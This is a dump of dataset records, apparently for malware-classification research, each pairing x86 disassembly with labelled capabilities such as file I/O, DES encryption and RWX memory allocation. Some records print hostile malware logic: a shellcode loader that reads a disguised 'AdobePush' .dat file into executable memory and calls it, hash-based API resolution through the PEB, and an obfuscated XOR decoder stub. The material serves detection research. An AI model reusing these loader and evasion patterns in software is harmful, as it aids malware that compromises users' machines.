joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ddb80
Capabilities:
Write file on windows

Disassembly:
mov edx, ecx
push ebx
push esi
push edi
mov ebx, dword [edx + 0x18]
test ebx, ebx
je 0x4ddbd0
mov edi, dword [edx + 0x1c]
mov eax, dword [esp + 0x14]
mov esi, dword [edx + 0x20]
lea ecx, [edi + eax]
cmp ecx, esi
jb 0x4ddbac
pop edi
pop esi
mov dword [edx + 0xc], 0x30000
xor eax, eax
pop ebx
ret 8
mov esi, dword [esp + 0x10]
mov ecx, eax
add edi, ebx
mov ebx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [edx + 0x1c]
pop edi
add ecx, eax
pop esi
mov dword [edx + 0x1c], ecx
pop ebx
ret 8
mov eax, dword [edx]
test eax, eax
je 0x4ddbf8
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x14]
push 0
push edx
mov edx, dword [esp + 0x18]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
ret 8
pop edi
pop esi
mov dword [edx + 0xc], 0x1000000
xor eax, eax
pop ebx
ret 8

Function at 0x4de020
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov edx, dword [ebx + 0x58]
test edx, edx
je 0x4de08a
mov eax, dword [ebx + 0x60]
mov ebp, dword [ebx + 0x5c]
cmp eax, ebp
jae 0x4de0db
mov ecx, dword [esp + 0x14]
sub ebp, eax
cmp ebp, ecx
jbe 0x4de046
mov ebp, ecx
mov ecx, ebp
lea esi, [eax + edx]
mov eax, dword [esp + 0x10]
mov edx, ecx
push edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebx + 0x60]
mov ecx, dword [ebx + 0x48]
mov eax, dword [ebx + 0x4c]
add edx, ebp
add ecx, ebp
push eax
mov dword [ebx + 0x60], edx
mov dword [ebx + 0x48], ecx
call fcn.004dd4b0
add esp, 0xc
mov dword [ebx + 0x4c], eax
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [ebx + 0x50]
test eax, eax
je 0x4de0d4
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4de0db
mov eax, dword [esp + 0x14]
mov ecx, dword [ebx + 0x48]
add ecx, eax
push eax
mov eax, dword [ebx + 0x4c]
push esi
push eax
mov dword [ebx + 0x48], ecx
call fcn.004dd4b0
add esp, 0xc
mov dword [ebx + 0x4c], eax
mov eax, dword [esp + 0x14]
pop esi
pop ebp
pop ebx
ret 8
mov dword [ebx + 0xc], 0x1000000
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
Function at 0x4e0820
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x9dcd54]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x4e0833
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4e0874
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x9dcdfc]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4e08a6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4e08aa
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4e089b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4e08c8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4e08cc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x4e08bd
xor ecx, ecx
mov eax, 0x9dcd64
xor ebx, ebx
mov bl, byte [ecx + 0x9dce0c]
cmp byte [esp + ebx + 0x14], 0
je 0x4e08f7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x9dce24]
cmp byte [esp + ebx + 0x14], 0
je 0x4e090e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x4e08de
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4e0867
lea edx, [esp + 0x84]
push edx
call fcn.004e0950
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4e6aa8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4e6ac8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004e61ea
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4e6aeb
test byte [esp + 8], 2
je 0x4e6aeb
call fcn.004e625d
mov dword [eax], 0xd
call fcn.004e6266
mov dword [eax], 5
jmp 0x4e6ac4
xor eax, eax
ret

Function at 0x4f6f28
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4f6f60
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004f4fb2
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004f4f8a
jmp 0x4f6f6c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4f861a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4f865c
call fcn.004fe10d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4f865c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4f8653
xor eax, eax
jmp 0x4f8664
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004f866a
pop edi
pop esi
pop ebx
ret 4

Function at 0x4fe63d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4fe66b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4fe689
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004fe5a3
jmp 0x4fe689
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4fe689
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004fe5a3
test edi, edi
mov eax, edi
jne 0x4fe673
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x18d2ce7
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
jne 0x18df868
mov eax, ebx
jmp 0x190367d
push ebp
movzx ebp, bx
bt esi, ebx
mov ebp, esp
clc
inc ch
sub esp, 4
movzx cx, bh
movsx cx, dl
bswap si
mov dword [ebp - 4], 0
jmp 0x18df83e
cld
xor edx, edx
rcr si, 0x72
shrd si, di, 0x6f
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
rol ecx, 5
xchg cl, cl
or si, 0x1c97
mov edx, dword [edx + 0x14]
and si, cx
btr esi, 0xd5
shl ch, 0xfd
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
sub eax, eax
lodsb al, byte [esi]
clc
cmp al, 0x61
jl 0x18df87e
sub al, 0x20
ror edi, 0xd
add edi, eax
jmp 0x18f6706
loop 0x18f670d
jmp 0x18ffafb
jmp 0x18df870
jmp 0x18ad65f
mov edx, dword [edx]
jmp 0x18c3d3b
cmp edi, 0x6a4abc5b
mov bl, 0x77
mov ebx, dword [edx + 0x10]
jmp 0x18f9a3f
mov dword [ebp - 4], eax
lahf
cbw
mov al, 0
mov eax, dword [ebp - 4]
jmp 0x18f87f8
Function at 0x19332f4
Capabilities:
Hash data with crc32

Disassembly:
jne 0x18e25f5
xor ecx, eax
jmp 0x18dd3e4
mov dword [ebp - 4], 0
push esi
ror al, cl
mov eax, dword [esi]
adc bh, 0xb0
stc
add bx, sp
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
clc
cmp esp, 0x65d120ad
push edi
cmp ah, 0xa3
xor al, al
scasb al, byte es:[edi]
jmp 0x18dcdd2
jmp 0x18ad748
jne 0x18bf658
pop esi
sub edi, ebx
jmp 0x192e9ba
xor edx, ebx
jmp 0x18ebc90
xor al, cl
clc
test sp, di
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
jmp 0x19050ea
dec edi
jmp 0x192f63c
je 0x1930166
pop esi
cmp bp, cx
clc
add esi, 4
add dword [ebp - 4], 1
jmp 0x18bf639
rcr ax, 1
jae 0x1905104
xor ax, 0x8320
test eax, eax
cmp esi, 0x1900514
xor bx, 0xedb8
dec dh
jmp 0x18af2a8
lodsd eax, dword [esi]
sbb ebx, eax
and bh, dl
sub ebx, ebp
add eax, dword [ebp + 0xc]
not bh
mov ebx, esp
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
setg bl
bswap bx
movzx ax, al
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg bx, bx
movsx bx, ah
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
ror bh, 0x51
adc bx, dx
shld bx, si, 0x53
mov eax, dword [esi]
rol bl, 0xf6
add eax, dword [ebp + 0xc]
bts esi, edi
cmovb esi, eax
test ch, 0x5b
mov dword [ebp - 0x10], eax
clc
ror bl, cl
pop esi
test cx, 0xeaf
test eax, esi
jmp 0x18bf632
mov dword [ebp - 4], eax
movsx eax, sp
lahf
mov eax, dword [ebp - 4]
jmp 0x18d0969
push edx
mov dl, dh
cld
movsx edx, dx
cwd
cdq
xor ecx, ecx
cwd
mov edx, esp
dec ecx
mov edx, ecx
sub eax, eax
xor al, 0x31
sub ebx, ebx
lodsb al, byte [esi]
clc
jmp 0x18e25e7
jne 0x192e9cd
not edx
btr ax, 0x7c
rol al, 0x1f
not ecx
mov eax, edx
rol eax, 0x10
xchg dx, ax
mov ax, cx
sal dh, 0xb6
pop edx
cmp ebx, esi
cmp edx, eax
jmp 0x18f78cc
pop esi
inc dh
mov eax, dword [ebp - 4]
sbb edi, ebx
bsr di, si
shl eax, 1
add eax, dword [ebp - 0x10]
shr cl, cl
adc edi, ebx
xor di, bx
sub esi, esi
bswap ecx
xchg esi, eax
add dx, cx
btc cx, 1
mov ax, word [esi]
xadd ebx, edi
btc cx, 0x39
shl ax, 2
adc bh, 0xe8
or dl, 0x69
add eax, dword [ebp - 8]
add edx, ebp
bt ebx, 0xe4
ror ebx, cl
xchg esi, eax
mov eax, dword [esi]
shl edi, 0xc2
and cx, bp
sub edi, ebp
add eax, dword [ebp + 0xc]
cwd
cdq
pop ecx
cdq
xchg bx, bx
pop edx
pop edi
mov si, bp
not si
pop ebx
pop esi
jmp 0x191ae28
push ebp
sar ebp, 0xa5
btr ebp, esp
mov ebp, esp
test dl, 0xe1
sub esp, 4
neg eax
sub al, 0x3b
mov dword [ebp - 4], 0
bsf eax, eax
lea esp, [esp - 0x14]
sal ax, cl
push esi
ror ah, 0x3e
movsx eax, dx
push ebx
push edi
add eax, esp
not edi
bts ebx, edx
push edx
push ecx
rcr ah, cl
mov eax, dword [ebp + 0x10]
xor edx, edx
bts si, bp
add di, bx
xchg edx, eax
mov esi, 0x3c
bt bx, bp
movzx ebx, di
clc
add esi, dword [ebp + 0xc]
sub di, 0x6467
bswap di
mov eax, dword [esi]
xchg di, bx
adc edi, 0x2d214537
add eax, dword [ebp + 0xc]
btr edi, 0x6f
mov esi, dword [eax + 0x78]
shld ax, bp, 0x51
sar ebx, cl
lea esi, [esi + 0x18]
add esi, dword [ebp + 0xc]
bsf ebx, edx
mov eax, dword [esi]
sub di, 0x7aea
mov dword [ebp - 0x14], eax
sal bx, 0x54
add esi, 4
lea edi, [ebp - 8]
mov bx, 0x1b4d
jmp 0x190aef8
Function at 0x10002c54
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002c97
push 0x2b
push 0x403de00
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x10014251]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.100012bb
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.1000dbb0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002cea
push ebx
call fcn.1000cad3
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002d20
push 0xa8
push 0x403de00
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10002d37
mov eax, 0x10014248
jmp 0x10002d58
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002d53
push eax
mov ebx, eax
call fcn.10001905
inc eax
push eax
call fcn.1000cacd
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10002d58
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002d69
push ebx
call fcn.1000cad3
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10002e3d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0
jne 0x10002e8b
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002e81
push 0x43
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
push dword [ebp + 8]
call fcn.10002f67
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002edb
mov dword [ebp - 4], esp
push 7
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002ed1
push 0xbd
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
push dword [ebp + 8]
call fcn.10002fa7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002f2b
mov dword [ebp - 4], esp
push 5
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f21
push 0x137
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
mov dword [ebp - 4], esp
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f5c
push 0x16f
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
mov esp, ebp
pop ebp
ret 8
Function at 0x1000521d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000de50
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005291
push 0x39
push 0x4012ab7
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005307
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000de50
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005304
push 0xda
push 0x4012ab7
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x1000530f
mov esp, ebp
pop ebp
ret 8

Function at 0x1000c510
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.1000c671
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000c56d
push 0x4d
push 0x403df2e
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x1000c57f
add eax, 8
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000c5a6
push 0x9c
push 0x403df2e
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.1000c6e7
mov eax, dword [ebp - 8]
jmp 0x1000c5bf
mov esp, ebp
pop ebp
ret 4
Function at 0x1000d7d0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.1000ed00
lea eax, [esp + 0x10]
mov dword [esp + 0x18], 0x1001014c
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x1000d892
mov ecx, dword [esp + 0x10]
mov eax, 1
cmp ecx, eax
mov dword [esp + 0xc], eax
jle 0x1000d88b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ebx, [edi + 4]
mov ecx, dword [ebx]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
push 0
push 0x3a8
call ebp
mov esi, eax
test esi, esi
jle 0x1000d876
lea edx, [esi + 1]
push edx
call fcn.1000ce00
mov edi, eax
add esp, 4
test edi, edi
je 0x1000d868
mov eax, dword [ebx]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0x3a8
call ebp
mov byte [eax + edi], 0
push edi
lea ecx, [esp + 0x20]
call fcn.1000ef90
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc eax
add ebx, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x1000d822
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x1000d8a5
push eax
call fcn.1000f150
add esp, 4
mov edi, dword [esp + 0x28]
shr edi, 2
shl edi, 2
lea ecx, [edi + 8]
push ecx
call fcn.1000ce00
mov dword [eax], 1
mov edx, dword [esp + 0x2c]
shr edx, 2
mov dword [eax + 4], edx
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
add esp, 4
neg esi
sbb esi, esi
and esi, ecx
mov ecx, edi
mov edx, ecx
lea edi, [eax + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov dword [ebx], eax
mov dword [esp + 0x18], 0x10010148
call fcn.1000ef00
pop edi
pop esi
pop ebx
add esp, 0x20
ret

Function at 0x1000dd80
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1000dd9e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x1000dd93
pop esi
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x100010d6
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_AdobePush_zMhRl6aySp.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100010d6
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100010d6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001108
mov esp, ebp
pop ebp
ret

Function at 0x10001108
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001112
repz ret
jmp fcn.10001394
Function at 0x10004efa
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000149a
and dword [ebp - 0x14], 0
cmp dword [0x1000a784], 0
mov dword [ebp - 0x18], eax
jne 0x10004fad
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10005055
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10005055
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a784], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a788], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a78c], eax
call edi
push eax
call esi
mov dword [0x1000a794], eax
test eax, eax
je 0x10004fad
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a790], eax
mov eax, dword [0x1000a790]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10005006
cmp dword [0x1000a794], ecx
je 0x10005006
push eax
call esi
push dword [0x1000a794]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10005006
test ebx, ebx
je 0x10005006
call edi
test eax, eax
je 0x10004ffd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004ffd
test byte [ebp - 8], 1
jne 0x10005006
or dword [ebp + 0x10], 0x200000
jmp 0x10005039
mov eax, dword [0x1000a788]
cmp eax, dword [ebp - 0x18]
je 0x10005039
push eax
call esi
test eax, eax
je 0x10005039
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005039
mov eax, dword [0x1000a78c]
cmp eax, dword [ebp - 0x18]
je 0x10005039
push eax
call esi
test eax, eax
je 0x10005039
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a784]
call esi
test eax, eax
je 0x10005055
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10005057
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001108
leave
ret
Function at 0x10024e56
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10024e65
pop dword [ebp - 0x38]
mov eax, 0x2990d932
add eax, 0xe6717533
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x48125
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x9297f4a4
sub ecx, 0x92979958
xor edx, edx
add edx, eax
mov esi, 0xe8a4121a
sub esi, 0xd88ba01a
add esi, dword [ebp - 0x38]
mov ebx, 0xb9f8003b
xor dword [ebp - 0xc], ebx
mov edi, dword [esi]
sub dword [ebp - 0x2c], 0x244050e7
add edi, ebx
add dword [ebp - 0x14], edx
mov dword [edx], edi
add dword [ebp - 0x1c], esi
add edx, 0xef310e6b
sub edx, 0xef310e67
add esi, 4
loop 0x10024ebb
add eax, 0x32d2381c
sub eax, 0x32d0d819
mov ebx, eax
add eax, 5
mov ecx, 0xb7da346f
sub ecx, 0xa7da346f
add ecx, dword [ebp - 0x38]
call ebx
leave
ret